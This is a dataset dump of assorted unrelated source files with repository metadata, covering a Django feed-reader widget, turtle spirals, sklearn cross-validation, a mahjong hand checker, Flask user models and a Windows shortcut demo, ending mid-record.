from leonardo.module.web.models import Widget, ContentProxyWidgetMixin
from leonardo.module.web.widgets.mixins import ListWidgetMixin
TARGET_CHOICES = (
('modal', _('Modal window')),
('blank', _('Blank window')),
)
class FeedReaderWidget(Widget, ContentProxyWidgetMixin, ListWidgetMixin):
max_items = models.IntegerField(_('max. items'), default=5)
class Meta:
abstract = True
verbose_name = _("feed reader")
verbose_name_plural = _('feed readers')
def render_content(self, options):
if self.is_obsolete:
self.update_cache_data()
context = RequestContext(options.get('request'), {
'widget': self,
})
return render_to_string(self.get_template_name(), context)
def update_cache_data(self, save=True):
feed = feedparser.parse(self.link)
entries = feed['entries'][:self.max_items]
context = {
'widget': self,
'link': feed['feed']['link'],
'entries': entries,
}
self.cache_data = render_to_string(
'widget/feedreader/_content.html', context)
self.cache_update = datetime.datetime.now()
if save:
self.save()
def save(self, *args, **kwargs):
self.update_cache_data(False)
super(FeedReaderWidget, self).save(*args, **kwargs)
|
[
"6du1ro.n@gmail.com"
] |
6du1ro.n@gmail.com
|
8107640d66d0dd58eb2d0351d0559824dc3a2c98
|
c29763f930c7c00b435a9b25dddf7f6e2e8548a1
|
/Atividades disciplinas/6 periodo/IA/algoritmo de dijkstra/test.py
|
6417af691864735fbf0325a743f03bdf7e10a868
|
[] |
no_license
|
jadsonlucio/Faculdade
|
f94ae6e513bb783f01c72dcb52479ad4bb50dc03
|
2ca553e8fa027820782edc56fc4eafac7eae5773
|
refs/heads/master
| 2020-07-06T20:34:10.087739
| 2019-12-07T20:45:55
| 2019-12-07T20:45:55
| 203,131,862
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,172
|
py
|
import numpy as np
from map.location import Location, calc_distance
from map.map import Map
COORDINATES_MAP_TEST_1 = {
"latitude_min" : 0,
"latitude_max" : 10,
"longitude_min" : 0,
"longitude_max" : 10
}
CIDADES_ALAGOAS = list(open("tests/cidades_alagoas.txt", "r").readlines())[:10]
def generate_random_sample(locations_names, latitude_min, latitude_max,
longitude_min, longitude_max):
locations = []
for location_name in locations_names:
latitude = np.random.uniform(latitude_min + 1, latitude_max - 1)
longitude = np.random.uniform(longitude_min + 1, longitude_max - 1)
locations.append(Location(location_name, latitude,longitude))
for i in range(len(locations)):
for j in range(i + 1, len(locations), 1):
if np.random.random() > 0.7:
cost = calc_distance(*locations[i].real_pos, *locations[j].real_pos)
locations[i].add_conection(locations[j], cost)
return locations
def get_map_test_1():
locations = generate_random_sample(CIDADES_ALAGOAS, **COORDINATES_MAP_TEST_1)
return Map(locations, **COORDINATES_MAP_TEST_1)
|
[
"jadsonaluno@hotmail.com"
] |
jadsonaluno@hotmail.com
|
251411a9333fbd7da3a0557d59516ffd7672af6c
|
f6d8f211bd87b47b511ac0b6599806ab3131999f
|
/04-case-study-interface-design/ex_4_12_5.py
|
937b06979b4f78846f3bdcb3f460fea8fed15b30
|
[] |
no_license
|
csu-xiao-an/think-python
|
6cea58da4644cd1351112560e75de150d3731ce9
|
8177b0506707c903c3d4d9a125c931aba890cc0c
|
refs/heads/master
| 2020-07-26T19:35:38.919702
| 2019-09-16T03:33:15
| 2019-09-16T03:33:15
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,746
|
py
|
"""This module contains a code for ex.5 related to ch.4.12.
Think Python, 2nd Edition
by Allen Downey
http://thinkpython2.com
"""
import math
import turtle
def polyline(t, n, length, angle):
"""Draws n line segments.
:param t: Turtle object
:param n: number of line segments
:param length: length of each segments
:param angle: degrees between segments
"""
for i in range(n):
t.fd(length)
t.lt(angle)
def arc(t, r, angle):
"""Draws an arc with the given radius and angle
:param t: Turtle object
:param r: radius of the arc
:param angle: angle subtended by the arc, in degrees
"""
arc_length = 2 * math.pi * r * abs(angle) / 360
n = int(arc_length / 4) + 3
step_length = arc_length / n
step_angle = float(angle) / n
polyline(t, n, step_length, step_angle)
def arch_spiral(t, n, length=4):
"""Draws an Archimedian spiral.
:param t: Turtle object
:param n: number of line segments
:param length: length of each segment
https://en.wikipedia.org/wiki/Archimedean_spiral
"""
a = 0.01 # how loose the initial spiral starts out (larger is looser)
b = 0.0002 # how loosly coiled the spiral is (larger is looser)
theta = 0.0
for i in range(n):
t.fd(length)
dtheta = 1 / (a + b * theta)
t.lt(dtheta)
theta += dtheta
def fib_spiral(t, n):
"""Draws a Fibonacсi spiral.
:param t: Turtle object
:param n: length of sequence
"""
a, b = 0, 1
for i in range(n):
arc(t, a, 90)
a, b = b, a+b
if __name__ == '__main__':
bob = turtle.Turtle()
# arch_spiral(bob, 200)
fib_spiral(bob, 15)
bob.hideturtle()
turtle.mainloop()
|
[
"cccp2006_06@mail.ru"
] |
cccp2006_06@mail.ru
|
74b5b828f3763b47c0928d9ef000736bbb8defdc
|
5c71d64db74c4c39b6e9adb70036a56e197f111c
|
/amsterdam-airbnb/CV_LinearRegression_selectedfeatures.py
|
7bf77d7e9d82ecfe3d6a251211a286ad6095989d
|
[] |
no_license
|
sebkeil/Group20-VU
|
3e70f1e464bb9873c8e8125ae190a52f08c85804
|
38f80d80944583e1ac48c6219130de69c0c60242
|
refs/heads/master
| 2021-05-18T03:15:15.671035
| 2020-09-06T15:00:10
| 2020-09-06T15:00:10
| 251,079,102
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,035
|
py
|
from sklearn.model_selection import cross_validate
from sklearn.linear_model import LinearRegression
import pandas as pd
import numpy as np
from sklearn.preprocessing import StandardScaler
# read in files
X_train = pd.read_csv('train.csv')
y_train = pd.read_csv('y_train.csv', names=['price'])
# drop features
X_train = X_train.drop(['bathrooms', 'bedrooms','guests_included','host_listings_count','instant_bookable_f','room_type_Private room'],axis=1)
# standardize data
scaler = StandardScaler()
X_train = scaler.fit_transform(X_train)
# Create a linear regression object: reg
reg = LinearRegression()
# Compute 5-fold cross-validation scores: cv_scores
cv_scores = cross_validate(reg, X_train, y_train, cv=5, scoring=('r2', 'neg_root_mean_squared_error'))
# Print the 5-fold cross-validation scores
#print(cv_scores)
print("Average 5-Fold CV Score (R2): {}".format(round(np.mean(cv_scores['test_r2']),4)))
print("Average 5-Fold CV Score (RMSE): {}".format(round(np.mean(cv_scores['test_neg_root_mean_squared_error']),2)))
|
[
"basti.keil@hotmail.de"
] |
basti.keil@hotmail.de
|
8dca1271759ee7e83227a510a85cae83c7c18567
|
1c390cd4fd3605046914767485b49a929198b470
|
/PE/73.py
|
605024f5c153e5bca66a554ce755b76a2d0b1973
|
[] |
no_license
|
wwwwodddd/Zukunft
|
f87fe736b53506f69ab18db674311dd60de04a43
|
03ffffee9a76e99f6e00bba6dbae91abc6994a34
|
refs/heads/master
| 2023-01-24T06:14:35.691292
| 2023-01-21T15:42:32
| 2023-01-21T15:42:32
| 163,685,977
| 7
| 8
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 148
|
py
|
from fractions import gcd
z=0
for i in range(12001):
print i
for j in range(i):
if gcd(i,j)==1 and 2*j<=i and 3*j>=i:
z+=1
print z-2
|
[
"wwwwodddd@gmail.com"
] |
wwwwodddd@gmail.com
|
844fd7640e35207a398b570c7d71e27fb7b2de5f
|
70734c75951d1349a4a4f66ba82a24f4726aa968
|
/smartrecruiters_python_client/models/source_types.py
|
6e69f1629ccd49872df29317f8a45592265c7bfa
|
[
"MIT"
] |
permissive
|
yogasukmawijaya/smartrecruiters-python-client
|
0f044847ef76bbe57a3a922e7b0adb4f98c0917f
|
6d0849d173a3d6718b5f0769098f4c76857f637d
|
refs/heads/master
| 2020-04-09T16:45:41.703240
| 2017-07-08T19:59:25
| 2017-07-08T19:59:25
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 4,002
|
py
|
# coding: utf-8
"""
Unofficial python library for the SmartRecruiters API
The SmartRecruiters API provides a platform to integrate services or applications, build apps and create fully customizable career sites. It exposes SmartRecruiters functionality and allows to connect and build software enhancing it.
OpenAPI spec version: 1
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
from pprint import pformat
from six import iteritems
import re
class SourceTypes(object):
"""
NOTE: This class is auto generated by the swagger code generator program.
Do not edit the class manually.
"""
def __init__(self, total_found=None, content=None):
"""
SourceTypes - a model defined in Swagger
:param dict swaggerTypes: The key is attribute name
and the value is attribute type.
:param dict attributeMap: The key is attribute name
and the value is json key in definition.
"""
self.swagger_types = {
'total_found': 'int',
'content': 'list[SourceTypesContent]'
}
self.attribute_map = {
'total_found': 'totalFound',
'content': 'content'
}
self._total_found = total_found
self._content = content
@property
def total_found(self):
"""
Gets the total_found of this SourceTypes.
:return: The total_found of this SourceTypes.
:rtype: int
"""
return self._total_found
@total_found.setter
def total_found(self, total_found):
"""
Sets the total_found of this SourceTypes.
:param total_found: The total_found of this SourceTypes.
:type: int
"""
if total_found is None:
raise ValueError("Invalid value for `total_found`, must not be `None`")
self._total_found = total_found
@property
def content(self):
"""
Gets the content of this SourceTypes.
:return: The content of this SourceTypes.
:rtype: list[SourceTypesContent]
"""
return self._content
@content.setter
def content(self, content):
"""
Sets the content of this SourceTypes.
:param content: The content of this SourceTypes.
:type: list[SourceTypesContent]
"""
if content is None:
raise ValueError("Invalid value for `content`, must not be `None`")
self._content = content
def to_dict(self):
"""
Returns the model properties as a dict
"""
result = {}
for attr, _ in iteritems(self.swagger_types):
value = getattr(self, attr)
if isinstance(value, list):
result[attr] = list(map(
lambda x: x.to_dict() if hasattr(x, "to_dict") else x,
value
))
elif hasattr(value, "to_dict"):
result[attr] = value.to_dict()
elif isinstance(value, dict):
result[attr] = dict(map(
lambda item: (item[0], item[1].to_dict())
if hasattr(item[1], "to_dict") else item,
value.items()
))
else:
result[attr] = value
return result
def to_str(self):
"""
Returns the string representation of the model
"""
return pformat(self.to_dict())
def __repr__(self):
"""
For `print` and `pprint`
"""
return self.to_str()
def __eq__(self, other):
"""
Returns true if both objects are equal
"""
if not isinstance(other, SourceTypes):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other):
"""
Returns true if both objects are not equal
"""
return not self == other
|
[
"kris@dataservices.pro"
] |
kris@dataservices.pro
|
9b0e6e18151779ef2c05e047ba28042259e4bdb8
|
4ab83ae9b3320e423116579a2de14600aeda16e0
|
/46_孩子们的游戏(圆圈中最后剩下的数).py
|
15ab243f7034126827dcc0951c5356c320a720dc
|
[] |
no_license
|
yaodalu/JZOffer
|
a4e8d6611cbff686dbbdd95226caeb5614945f9c
|
ede5f500f45b865058352b0c37629d7f2254a4d6
|
refs/heads/master
| 2020-05-21T17:10:09.705926
| 2019-09-10T01:05:55
| 2019-09-10T01:05:55
| 186,118,657
| 1
| 1
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 2,083
|
py
|
# -*- coding:utf-8 -*-
class Solution:
def LastRemaining_Solution(self, n, m):
"""单向循环链表解法"""
if n == 0: #特殊情况,没有小朋友
return -1
if n == 1: #特殊情况,只有一个小朋友
return 1
if m == 1: #特殊情况,每次第一个小朋友退出
return n-1
myList = MyList(n)
while not myList.judgeOneElem():
myList.pop(m)
return myList.judgeOneElem().val
class Node():
def __init__(self,val):
self.val = val
self.next = None
class MyList():
"""尾指针指向头节点的单向循环链表"""
def __init__(self,n): #n>=2
self.__head = Node(0)
cur = self.__head
for i in range(1,n-1): #退出循环时,cur指向倒数第二个节点
cur.next = Node(i)
cur = cur.next
cur.next = Node(n-1)
cur = cur.next
cur.next = self.__head
def judgeOneElem(self):
"""判断链表是否只有一个节点"""
if self.__head and self.__head.next == self.__head:
return self.__head #如果链表只有一个节点,则返回该节点
return False
def pop(self,m):
"""遍历"""
if self.__head is None:
return
cur,count = self.__head,0
while count != m-2 : #退出循环的时候,指针指向需要删除的节点的前一个节点
cur = cur.next
count += 1
self.__head = cur.next.next #头节点指向删除节点的后一个节点
cur.next = self.__head
if __name__ == "__main__":
print Solution().LastRemaining_Solution(5,3)
|
[
"648672371@qq.com"
] |
648672371@qq.com
|
0023937f5c12f7a15fd54083090d66e26fe0887a
|
f2cacb05d20e2e699e64035b6bee9a8bed3d3b8e
|
/atm/__init__.py
|
4d85ea4f53cca492fe01cc6e8f66cf043c77030a
|
[
"BSD-3-Clause"
] |
permissive
|
moeyensj/atm
|
31e54e93c0881307770ab0d7815b9c4678f9f2e6
|
0523600cf44423a1ef72ca40fff29bbfbe1281a8
|
refs/heads/master
| 2022-08-13T05:33:54.131701
| 2021-03-03T23:38:02
| 2021-03-03T23:38:02
| 196,091,171
| 9
| 2
|
BSD-3-Clause
| 2021-03-03T23:38:03
| 2019-07-09T22:16:20
|
Python
|
UTF-8
|
Python
| false
| false
| 289
|
py
|
from .version import __version__
from .config import *
from .constants import *
from .frames import *
from .helpers import *
from .functions import *
from .models import *
from .obs import *
from .analysis import *
from .data_processing import *
from .fit import *
from .plotting import *
|
[
"moeyensj@gmail.com"
] |
moeyensj@gmail.com
|
15a860f8bc4c092e866e5ee2784958d676c664fb
|
a98bc8906c3fbe4d388442d24cbeed06d06686f9
|
/Codechef 2019/sept Long 2019/chefinsq.py
|
a3cdcb3f34a5e9ed032f62cfec6c69d944f9028e
|
[] |
no_license
|
Arrowheadahp/Contests-Challenges-and-Events
|
1ac4f1b2067276fa669e86ecfdb685d95ba663fd
|
fc156e5ae49b3074a9dbd56acd4fdc2af25c6a3f
|
refs/heads/master
| 2022-12-13T19:50:38.041410
| 2020-08-22T14:16:23
| 2020-08-22T14:16:23
| 197,886,111
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 342
|
py
|
def fact(k):
f = 1
while k:
f*=k
k-=1
return f
for _ in range(input()):
n, k = map(int, raw_input().split())
A = map(int, raw_input().split())
A.sort()
x = A[k-1]
s = A[:k].count(x)
t = A.count(x)
#print s, t
print fact(t)/(fact(s)*fact(t-s))
'''
2
4 2
1 2 3 4
4 2
1 2 2 2
'''
|
[
"prasunbhuin.pkb@gmail.com"
] |
prasunbhuin.pkb@gmail.com
|
c6adb1d9469a5adfe8a767e63e40fbd9ab028c03
|
8df1237388352d29c894403feaf91e800edef6bf
|
/Algorithms/141.linked-list-cycle/141.linked-list-cycle.py
|
255c09e7e984294aef20caa856189c3b49b66f31
|
[
"MIT"
] |
permissive
|
GaLaPyPy/leetcode-solutions
|
8cfa5d220516683c6e18ff35c74d84779975d725
|
40920d11c584504e805d103cdc6ef3f3774172b3
|
refs/heads/master
| 2023-06-19T22:28:58.956306
| 2021-07-19T00:20:56
| 2021-07-19T00:20:56
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 272
|
py
|
class Solution:
def hasCycle(self, head: ListNode) -> bool:
fast = slow = head
while slow and fast and fast.next:
slow = slow.next
fast = fast.next
if slow is fast:
return True
return False
|
[
"zoctopus@qq.com"
] |
zoctopus@qq.com
|
5b47d39363b966b6fd8208f0f5a184dedf934ca4
|
c9642233f1de71f1a61ae28c695c2d9228825156
|
/echecs_espoir/service/mahjong/models/hutype/two/siguiyi.py
|
63d95ac314dad7a3b187dc3c09ab0befe8eacee5
|
[
"AFL-3.0"
] |
permissive
|
obespoir/echecs
|
d8314cffa85c8dce316d40e3e713615e9b237648
|
e4bb8be1d360b6c568725aee4dfe4c037a855a49
|
refs/heads/master
| 2022-12-11T04:04:40.021535
| 2020-03-29T06:58:25
| 2020-03-29T06:58:25
| 249,185,889
| 16
| 9
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 2,763
|
py
|
# coding=utf-8
import time
from service.mahjong.models.hutype.basetype import BaseType
from service.mahjong.constants.carddefine import CardType, CARD_SIZE
from service.mahjong.models.card.hand_card import HandCard
from service.mahjong.models.card.card import Card
from service.mahjong.models.utils.cardanalyse import CardAnalyse
class SiGuiYi(BaseType):
"""
4) 四归一:胡牌时,牌里有4张相同的牌归于一家的顺、刻子、对、将牌中(不包括杠牌) 。
"""
def __init__(self):
super(SiGuiYi, self).__init__()
def is_this_type(self, hand_card, card_analyse):
used_card_type = [CardType.WAN] # 此游戏中使用的花色
union_card = hand_card.union_card_info
gang_lst = []
gang_lst.extend(hand_card.dian_gang_card_vals)
gang_lst.extend(hand_card.bu_gang_card_vals)
gang_lst.extend(hand_card.an_gang_card_vals)
ret = [] # 手里有4张的牌集
for i, count in enumerate(union_card[CardType.WAN]):
if i == 0 and count < 4:
return False
if count == 4 and Card.cal_card_val(CardType.WAN, i) not in gang_lst:
ret.append(Card.cal_card_val(CardType.WAN, i))
if not ret:
return False
gang_lst = self.get_gang_lst(hand_card)
for i in ret:
if i in gang_lst:
return False
return True
def get_gang_lst(self, hand_card):
ret = []
for i in hand_card.dian_gang_card_vals: # 点杠的牌
ret.append(i[0])
for i in hand_card.bu_gang_card_vals: # 补杠的牌
ret.append(i[0])
for i in hand_card.an_gang_card_vals: # 暗杠的牌
ret.append(i[0])
return ret
if __name__ == "__main__":
pass
card_analyse = CardAnalyse()
hand_card = HandCard(0)
# hand_card.hand_card_info = {
# 1: [9, 1, 1, 1, 1, 1, 1, 1, 1, 1], # 万
# 2: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0], # 条
# 3: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0], # 饼
# 4: [2, 2, 0, 0, 0], # 风
# 5: [3, 3, 0, 0], # 箭
# }
hand_card.hand_card_info = {
1: [9, 1, 1, 4, 1, 1, 1, 1, 1, 1], # 万
2: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0], # 条
3: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0], # 饼
4: [2, 2, 0, 0, 0], # 风
5: [0, 0, 0, 0], # 箭
}
hand_card.handle_hand_card_for_settle_show()
hand_card.union_hand_card()
print("hand_card =", hand_card.hand_card_vals)
test_type = SiGuiYi()
start_time = time.time()
print(test_type.is_this_type(hand_card, card_analyse))
print("time = ", time.time() - start_time)
|
[
"jamonhe1990@gmail.com"
] |
jamonhe1990@gmail.com
|
afc614636a168d512fd7a9da31c0dc42b2a9191f
|
afc4e63338fcb6538117ab2da3ebeb7b6d485399
|
/campoapp/cedis/urls.py
|
7b9a3a3c63a8bfbeeffb7c13b8791bc8046c038a
|
[] |
no_license
|
alrvivas/cedis-erp
|
7531108ba4dd2212788cb6d108ccacdce42d4b37
|
aa7d3c5d844473b72786ee6168f9b3a71be349f2
|
refs/heads/master
| 2022-11-25T14:21:40.365438
| 2018-09-28T18:06:41
| 2018-09-28T18:06:41
| 146,667,529
| 0
| 0
| null | 2022-11-22T02:52:27
| 2018-08-29T22:52:30
|
JavaScript
|
UTF-8
|
Python
| false
| false
| 725
|
py
|
from django.conf.urls import url
from django.urls import path,re_path
from .views import (
CedisView,
CedisCreation,
RouteCedis,
RouteCreation,
ClientRoute,
)
app_name = 'cedis'
urlpatterns = [
path('', CedisView.as_view(), name='cedis'),
re_path(r'^nuevo$', CedisCreation.as_view(), name='new'),
path('<slug:slug>/', RouteCedis.as_view(), name='cedis_detail'),
#re_path(r'^nueva-ruta$', RouteCreation.as_view(), name='new_route'),
re_path(r'^(?P<slug>[\w-]+)/nueva-ruta/$', RouteCreation.as_view(), name='new_route'),
path('route/<slug:slug>/', ClientRoute.as_view(), name='route_detail'),
#re_path(r'^(?P<slug:slug>[-\w]+)/$', RouteCedis.as_view(), name='cedis_detail'),
]
|
[
"alr.vivas@gmail.com"
] |
alr.vivas@gmail.com
|
56c2adbfffabb89ea6c69a685d01c01d8098d791
|
235de1014c7aa9b05ee3c9cce2e7557c6406f800
|
/Rationale_Analysis/experiments/hyperparam_search.py
|
d61afcd61a83d2afaa5a437ea45f96894e5a8e2c
|
[
"MIT"
] |
permissive
|
yuvalpinter/rationale_analysis
|
b07336142e7de932238a3cc07c656e6616c0e717
|
2b25c6027d4459fc27e0f6793da6fee695e409a9
|
refs/heads/master
| 2020-09-11T08:16:15.031620
| 2019-11-17T23:25:11
| 2019-11-17T23:25:11
| 222,000,886
| 0
| 0
|
MIT
| 2019-11-15T20:48:41
| 2019-11-15T20:48:41
| null |
UTF-8
|
Python
| false
| false
| 1,617
|
py
|
import argparse
import os
import json
import subprocess
import hyperopt
from hyperopt import hp
import numpy as np
np.exp = lambda x : 10**x
parser = argparse.ArgumentParser()
parser.add_argument("--exp-name", type=str, required=True)
parser.add_argument("--search-space-file", type=str, required=True)
parser.add_argument("--dry-run", dest="dry_run", action="store_true")
parser.add_argument("--cluster", dest="cluster", action="store_true")
parser.add_argument('--run-one', dest='run_one', action='store_true')
parser.add_argument('--num-searches', type=int, required=True)
def main(args):
global_exp_name = args.exp_name
search_space_config = json.load(open(args.search_space_file))
hyperparam_space = {k:eval(v['type'])(k, **v['options']) for k, v in search_space_config.items()}
for i in range(args.num_searches) :
new_env = os.environ.copy()
hyperparam_vals = hyperopt.pyll.stochastic.sample(hyperparam_space)
for k, v in hyperparam_vals.items():
new_env[k] = str(v)
print(hyperparam_vals)
exp_name = os.path.join(global_exp_name, "search_" + str(i))
new_env["EXP_NAME"] = exp_name
cmd = ["bash", "Rationale_Analysis/commands/model_a_train_script.sh"]
if args.cluster:
cmd = ["sbatch", "Cluster_scripts/multi_gpu_sbatch.sh"] + cmd
print("Running ", cmd, " with exp name ", exp_name)
if not args.dry_run:
subprocess.run(cmd, check=True, env=new_env)
if args.run_one :
break
if __name__ == "__main__":
args = parser.parse_args()
main(args)
|
[
"successar@gmail.com"
] |
successar@gmail.com
|
fcc48edcfdd4d1fc34b4b877308b372de722ad40
|
8eab8ab725c2132bb8d090cdb2d23a5f71945249
|
/virt/Lib/site-packages/win32comext/shell/demos/create_link.py
|
354561b7c50d6342a359a3c4e10a1c066bef399a
|
[
"MIT"
] |
permissive
|
JoaoSevergnini/metalpy
|
6c88a413a82bc25edd9308b8490a76fae8dd76ca
|
c2d0098a309b6ce8c756ff840bfb53fb291747b6
|
refs/heads/main
| 2023-04-18T17:25:26.474485
| 2022-09-18T20:44:45
| 2022-09-18T20:44:45
| 474,773,752
| 3
| 1
|
MIT
| 2022-11-03T20:07:50
| 2022-03-27T22:21:01
|
Python
|
UTF-8
|
Python
| false
| false
| 2,329
|
py
|
# link.py
# From a demo by Mark Hammond, corrupted by Mike Fletcher
# (and re-corrupted by Mark Hammond :-)
from win32com.shell import shell
import pythoncom, os
class PyShortcut:
def __init__(self):
self._base = pythoncom.CoCreateInstance(
shell.CLSID_ShellLink,
None,
pythoncom.CLSCTX_INPROC_SERVER,
shell.IID_IShellLink,
)
def load(self, filename):
# Get an IPersist interface
# which allows save/restore of object to/from files
self._base.QueryInterface(pythoncom.IID_IPersistFile).Load(filename)
def save(self, filename):
self._base.QueryInterface(pythoncom.IID_IPersistFile).Save(filename, 0)
def __getattr__(self, name):
if name != "_base":
return getattr(self._base, name)
if __name__ == "__main__":
import sys
if len(sys.argv) < 2:
print(
"Usage: %s LinkFile [path [, args[, description[, working_dir]]]]\n\nIf LinkFile does not exist, it will be created using the other args"
)
sys.exit(1)
file = sys.argv[1]
shortcut = PyShortcut()
if os.path.exists(file):
# load and dump info from file...
shortcut.load(file)
# now print data...
print(
"Shortcut in file %s to file:\n\t%s\nArguments:\n\t%s\nDescription:\n\t%s\nWorking Directory:\n\t%s\nItemIDs:\n\t<skipped>"
% (
file,
shortcut.GetPath(shell.SLGP_SHORTPATH)[0],
shortcut.GetArguments(),
shortcut.GetDescription(),
shortcut.GetWorkingDirectory(),
# shortcut.GetIDList(),
)
)
else:
if len(sys.argv) < 3:
print(
"Link file does not exist\nYou must supply the path, args, description and working_dir as args"
)
sys.exit(1)
# create the shortcut using rest of args...
data = map(
None,
sys.argv[2:],
("SetPath", "SetArguments", "SetDescription", "SetWorkingDirectory"),
)
for value, function in data:
if value and function:
# call function on each non-null value
getattr(shortcut, function)(value)
shortcut.save(file)
|
[
"joao.a.severgnini@gmail.com"
] |
joao.a.severgnini@gmail.com
|
097ffe889ecca6ba681f647340800b9ee5807fde
|
4f0d9dbbf1a870b661870ebb1f4ac2306e6e3802
|
/apps/main/models.py
|
ccc30a23e7cb0441f0aa491fb824e23c663e04a4
|
[] |
no_license
|
ItEngine/ItEngine
|
a5d13af8ae6fc4ebcb4633d0e12e8e7e90a10c63
|
2932f31f33140b3e066d8108235398276500092e
|
refs/heads/master
| 2020-12-03T02:30:36.385719
| 2016-07-23T00:58:04
| 2016-07-23T00:58:04
| 45,215,270
| 1
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 2,385
|
py
|
import datetime
from flask import Blueprint
from sqlalchemy import event
from sqlalchemy.event import listens_for
from werkzeug.security import generate_password_hash
from app import db, login_manager
class User(db.Model):
"""
Model User
"""
__tablename__ = 'Users'
id = db.Column(db.Integer, primary_key=True)
username = db.Column(db.String(30), unique=True, nullable=False)
email = db.Column(db.String(120), unique=True, nullable=False)
password = db.Column(db.String(120), nullable=False)
first_name = db.Column(db.String(120), nullable=False)
last_name = db.Column(db.String(120), nullable=False)
date_join = db.Column(
db.DateTime, nullable=False,
default=datetime.datetime.utcnow
)
is_active = db.Column(
db.Boolean, default=True
)
is_admin = db.Column(
db.Boolean, default=False
)
@property
def is_authenticated(self):
return True
def get_id(self):
try:
return self.id
except AttributeError:
raise NotImplementedError('No `id` attribute - override `get_id`')
def __repr__(self):
return '<User %r>' % (self.username)
def hash_password(target, value, oldvalue, initiator):
if value is not None:
return generate_password_hash(value)
# Setup listener on User attribute password
event.listen(User.password, 'set', hash_password, retval=True)
@login_manager.user_loader
def load_user(id):
"""
For flask-login get user id
"""
return User.query.get(int(id))
class Site(db.Model):
"""
Model Site
"""
__tablename__ = 'Sites'
id = db.Column(db.Integer, primary_key=True)
company = db.Column(db.String(120), nullable=False)
descrip = db.Column(db.String(500), nullable=False)
type_company = db.Column(db.String(50), nullable=False)
site_company = db.Column(db.String(120), nullable=False)
photo = db.Column(db.Unicode(128))
class Portfolio(db.Model):
"""
Model Portfolio
"""
__tablename__ = 'Portfolios'
id = db.Column(db.Integer, primary_key=True)
name = db.Column(db.String(120), nullable=False)
descrip = db.Column(db.String(500), nullable=False)
tecnologies = db.Column(db.String(50), nullable=False)
site_url = db.Column(db.String(120), nullable=False)
photo = db.Column(db.Unicode(128))
|
[
"martinpeveri@gmail.com"
] |
martinpeveri@gmail.com
|
9d9c1305ed57e2a327da571c32f06702b2a1fc11
|
f0d713996eb095bcdc701f3fab0a8110b8541cbb
|
/Akx92Ldcy78xp5zCF_4.py
|
9d5e1d493ab24f7c6508ffe8f4080fda61583184
|
[] |
no_license
|
daniel-reich/turbo-robot
|
feda6c0523bb83ab8954b6d06302bfec5b16ebdf
|
a7a25c63097674c0a81675eed7e6b763785f1c41
|
refs/heads/main
| 2023-03-26T01:55:14.210264
| 2021-03-23T16:08:01
| 2021-03-23T16:08:01
| 350,773,815
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 669
|
py
|
"""
The function is given two strings `t` \- template, `s` \- to be sorted. Sort
the characters in `s` such that if the character is present in `t` then it is
sorted according to the order in `t` and other characters are sorted
alphabetically after the ones found in `t`.
### Examples
custom_sort("edc", "abcdefzyx") ➞ "edcabfxyz"
custom_sort("fby", "abcdefzyx") ➞ "fbyacdexz"
custom_sort("", "abcdefzyx") ➞ "abcdefxyz"
custom_sort("", "") ➞ ""
### Notes
The characters in `t` and `s` are all lower-case.
"""
def custom_sort(t, s):
return ''.join(sorted(list(s), key=lambda x: t.index(x) if x in t else ord(x) ))
|
[
"daniel.reich@danielreichs-MacBook-Pro.local"
] |
daniel.reich@danielreichs-MacBook-Pro.local
|
dffb8f1d28234925bf2aa668f60bba767b675746
|
f1a5d89b17e3bf0f354546cc47c329a81f15dfc9
|
/apps/__init__.py
|
9827ad08f3307fbdc79dfbb87ce314af564b62c8
|
[] |
no_license
|
lucassimon/civilizations
|
067193e17e7651a9fecb53f2b6e459c15ff4c97b
|
db8db27bb56ccda8c23059de88c60ef8d9670cb0
|
refs/heads/master
| 2020-03-29T13:16:01.025175
| 2018-12-29T18:22:45
| 2018-12-29T18:22:45
| 149,949,155
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 499
|
py
|
# -*- coding: utf-8 -*-
# Python Libs.
from vibora import Vibora, Response
# -*- coding: utf-8 -*-
from vibora.hooks import Events
from .config import config
from .api import api
def create_app(config_name):
app = Vibora()
@app.handle(Events.AFTER_ENDPOINT)
async def before_response(response: Response):
response.headers['x-my-custom-header'] = 'Hello :)'
app.components.add(config[config_name]())
app.add_blueprint(api, prefixes={'v1': '/v1'})
return app
|
[
"lucassrod@gmail.com"
] |
lucassrod@gmail.com
|
367d5083a97e5d006b5ed778da35518abfec3376
|
3f50e7f6894fc8eea825502b846dc0967493f7a4
|
/doc-src/objects/index.py
|
53bceb10edb9127c2df0acace412c55eba5bbc78
|
[
"MIT"
] |
permissive
|
bavardage/qtile
|
92e62bc3195f3cfb0059afaa3dd008bd490caa6a
|
c384d354f00c8d025d0eff3e5e292303ad4b4e58
|
refs/heads/master
| 2021-01-16T00:49:34.141225
| 2009-03-26T16:54:51
| 2009-03-26T16:54:51
| 106,682
| 4
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 235
|
py
|
from countershape.doc import *
pages = [
Page("barsngaps.html", "Bars and Gaps"),
Page("groups.html", "Groups"),
Page("layouts.html", "Layouts"),
Page("screens.html", "Screens"),
Page("widgets.html", "Widgets"),
]
|
[
"aldo@nullcube.com"
] |
aldo@nullcube.com
|
986d770ae16a5a17ea8ab21a9c8611ad9ec844f3
|
e62b1e748582584a5c2a05fff970fe09e72752b4
|
/app/migrations/0084_auto_20200312_2145.py
|
78c8618744d5f9bd75ef8f090009cc7f7e073750
|
[] |
no_license
|
wlodekf/jpk
|
5957b515ecbcded9b4f27d6a0785ee89e3a0d585
|
1c200350f57469e890a124d07f741d836d9a0833
|
refs/heads/master
| 2023-07-10T20:15:11.111276
| 2021-08-11T12:21:14
